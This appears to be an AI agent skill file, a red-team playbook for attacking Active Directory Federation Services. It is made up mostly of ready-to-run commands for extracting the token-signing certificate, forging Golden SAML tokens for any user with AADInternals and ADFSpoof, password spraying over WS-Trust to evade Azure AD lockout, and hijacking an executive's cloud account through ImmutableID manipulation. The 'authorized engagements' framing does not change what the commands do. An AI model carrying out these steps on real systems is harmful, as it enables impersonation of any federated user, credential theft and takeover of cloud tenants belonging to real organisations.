---
name: rt-adfs
description: "Active Directory Federation Services (ADFS) attack skill for authorized engagements. Golden SAML token forgery, ADFS token signing certificate extraction, ImmutableID manipulation for account takeover, ADFS endpoint enumeration, WS-Trust exploitation, ADFS configuration dump, and hybrid identity attack chains. Use when engagement scope includes federated identity or when Azure AD Connect with ADFS is deployed."
---

# rt-adfs — ADFS Attack & Golden SAML

## Overview

ADFS (Active Directory Federation Services) provides federated SSO — it issues SAML tokens that allow users to authenticate to cloud services (Office 365, Salesforce, AWS) using on-prem credentials. Compromising ADFS = forge tokens for any user, including Global Admin, without knowing passwords.

**Golden SAML** = SAML equivalent of Kerberos Golden Ticket. Forge a valid SAML assertion for any user using the ADFS token signing certificate.

---

## Phase 1 — ADFS Discovery & Enumeration

```bash
# Identify ADFS in the environment
nmap -sV -p 443,49443,80 ADFS_SERVER_IP
# ADFS typically runs on: adfs.corp.com or sts.corp.com

# Enumerate ADFS metadata (unauthenticated)
curl https://adfs.corp.com/federationmetadata/2007-06/federationmetadata.xml
# Contains: token signing certificate, endpoints, realm info

# Check authentication type
curl https://adfs.corp.com/adfs/ls/IdpInitiatedSignon.aspx
# ADFS sign-in page = confirmation ADFS is present

# AADInternals — enumerate ADFS config
Import-Module AADInternals
$info = Get-AADIntLoginInformation -Domain corp.com
$info.AuthURL  # Shows ADFS URL if federated

# Get tenant federation details
Invoke-AADIntReconAsOutsider -DomainName corp.com
# If "Federation" = ADFS → Golden SAML is possible
```

---

## Phase 2 — ADFS Token Signing Certificate Extraction

```bash
# Token signing cert is the key to Golden SAML
# Stored on ADFS server — requires local admin or DA

# Method 1: AADInternals (on ADFS server as local admin)
Import-Module AADInternals
Export-AADIntADFSCertificates
# Output: ADFSSigningCertificate.pfx, ADFSEncryptionCertificate.pfx

# Method 2: Direct ADFS database (on primary ADFS server)
# ADFS stores config in: WID (Windows Internal Database) or SQL Server
# Config DB contains encrypted certs → decrypt with DPAPI

# Method 3: via DCSync (if ADFS uses gMSA or service account)
# Extract ADFS service account creds → access ADFS config
impacket-secretsdump corp.local/admin:Password1@DC_IP | grep "ADFS\|adfssvc"

# Method 4: Direct certificate store
# On ADFS server as admin:
$cert = Get-AdfsCertificate -CertificateType Token-Signing
$cert.Certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pfx, "password")
[IO.File]::WriteAllBytes("C:\adfs_signing.pfx", $cert)
```

---

## Phase 3 — Golden SAML Forgery

```bash
# With token signing certificate → forge SAML for ANY user
# User doesn't need to exist in Azure AD — ImmutableID maps on-prem to cloud

# Tool: ADFSpoof / AADInternals

# AADInternals — forge SAML token
Import-Module AADInternals

# Get ImmutableID for target user (maps on-prem GUID to Azure AD)
$user = Get-ADUser -Identity "administrator" -Properties ObjectGUID
$immutableId = [System.Convert]::ToBase64String($user.ObjectGUID.ToByteArray())

# Forge Golden SAML token
$samlToken = New-AADIntSAMLToken `
  -ImmutableID $immutableId `
  -Issuer "https://sts.corp.com/adfs/services/trust" `
  -PfxFileName "ADFSSigningCertificate.pfx" `
  -PfxPassword "password"

# Use token to get Azure AD access token
$accessToken = Get-AADIntAccessTokenWithSAML -SAMLToken $samlToken -Resource "https://graph.microsoft.com"
# → Authenticated as Administrator in Azure AD / M365

# ADFSpoof (Python alternative)
git clone https://github.com/fireeye/ADFSpoof
pip3 install -r requirements.txt

python3 ADFSpoof.py \
  -b ADFS_CERT.pfx \
  -s ADFS_CERT_PASSPHRASE \
  --assertionid "_id123" \
  --responseid "_id456" \
  -t corp.com \
  -u "administrator@corp.com" \
  --upn "administrator@corp.com" \
  --objectguid "OBJECT_GUID"
# Output: base64 SAML token → use in OAuth flow
```

---

## Phase 4 — WS-Trust Exploitation

```bash
# WS-Trust = protocol ADFS uses for username/password authentication
# If WS-Trust endpoint enabled → authenticate directly, bypass web MFA

# Check WS-Trust endpoints
curl https://adfs.corp.com/adfs/services/trust/2005/usernamemixed
curl https://adfs.corp.com/adfs/services/trust/13/usernamemixed

# AADInternals — use WS-Trust for token
$token = Get-AADIntAccessTokenUsingWSTrust -Credentials (Get-Credential) `
  -STSEndpoint "https://adfs.corp.com/adfs/services/trust/13/usernamemixed"

# Password spray via WS-Trust (bypasses AAD Smart Lockout)
# WS-Trust uses on-prem lockout policy, not Azure AD SmartLockout
Invoke-AADIntUserEnumerationAsOutsider -UserList users.txt
foreach ($user in $users) {
    Get-AADIntAccessTokenUsingWSTrust -Username $user -Password "Summer2024!" `
        -STSEndpoint "https://adfs.corp.com/adfs/services/trust/13/usernamemixed" `
        -ErrorAction SilentlyContinue
}
```

---

## Phase 5 — ImmutableID Manipulation

```bash
# ImmutableID links on-prem AD object to Azure AD account
# If you can set ImmutableID on a cloud-only account → sync it to your controlled on-prem object

# Scenario: You have Global Admin in Azure AD (via phishing/consent grant)
# Target: CEO who uses ADFS SSO
# Goal: take over CEO's cloud account

# Step 1: Find CEO's ImmutableID
Get-AADIntUser -UserPrincipalName "ceo@corp.com" | Select ImmutableId
# Output: ImmutableId = "abc123=="

# Step 2: Create controlled on-prem user with same ImmutableID
New-ADUser -SamAccountName "svc_sync_test" -UserPrincipalName "svc_sync_test@corp.local"
Set-ADUser -Identity "svc_sync_test" -Replace @{"ms-DS-ConsistencyGuid"=[System.Convert]::FromBase64String("abc123==")}

# Step 3: Sync to Azure AD (force sync)
Start-ADSyncSyncCycle -PolicyType Delta  # On AD Connect server

# Step 4: Now authenticate as CEO via ADFS with your controlled account
# CEO's cloud account now linked to your on-prem object
```

---

## Phase 6 — ADFS Config Dump

```bash
# Full ADFS configuration contains: relying party trusts, claims rules, certs

# PowerShell on ADFS server
Get-AdfsProperties | Export-Clixml adfs_properties.xml
Get-AdfsRelyingPartyTrust | Export-Clixml relying_parties.xml
Get-AdfsClaimsProviderTrust | Export-Clixml claims_providers.xml

# Find all applications trusting this ADFS
Get-AdfsRelyingPartyTrust | Select-Object Name, Identifier, WsFedEndpoint, SamlEndpoints

# Common relying parties to target:
# Office 365 (urn:federation:MicrosoftOnline)
# Salesforce
# AWS IAM Identity Center
# ServiceNow, Workday, etc.

# Each relying party = can be targeted with Golden SAML
```

---

## Skill Levels

**BEGINNER:** ADFS discovery and metadata enumeration · WS-Trust password spraying

**INTERMEDIATE:** Token signing certificate extraction via AADInternals · Golden SAML with ADFSpoof

**ADVANCED:** ImmutableID manipulation for account takeover · Full hybrid identity chain (on-prem → ADFS → Azure AD → M365)

**EXPERT:** Cross-tenant federation abuse · Custom claims rule manipulation · ADFS persistence via certificate rotation backdoor

---

## References

- AADInternals: https://github.com/Gerenios/AADInternals
- ADFSpoof: https://github.com/fireeye/ADFSpoof
- Golden SAML research: https://www.fireeye.com/blog/threat-research/2019/06/hunting-rtm-group-hacking-tricks.html
- MITRE T1606.002: https://attack.mitre.org/techniques/T1606/002/
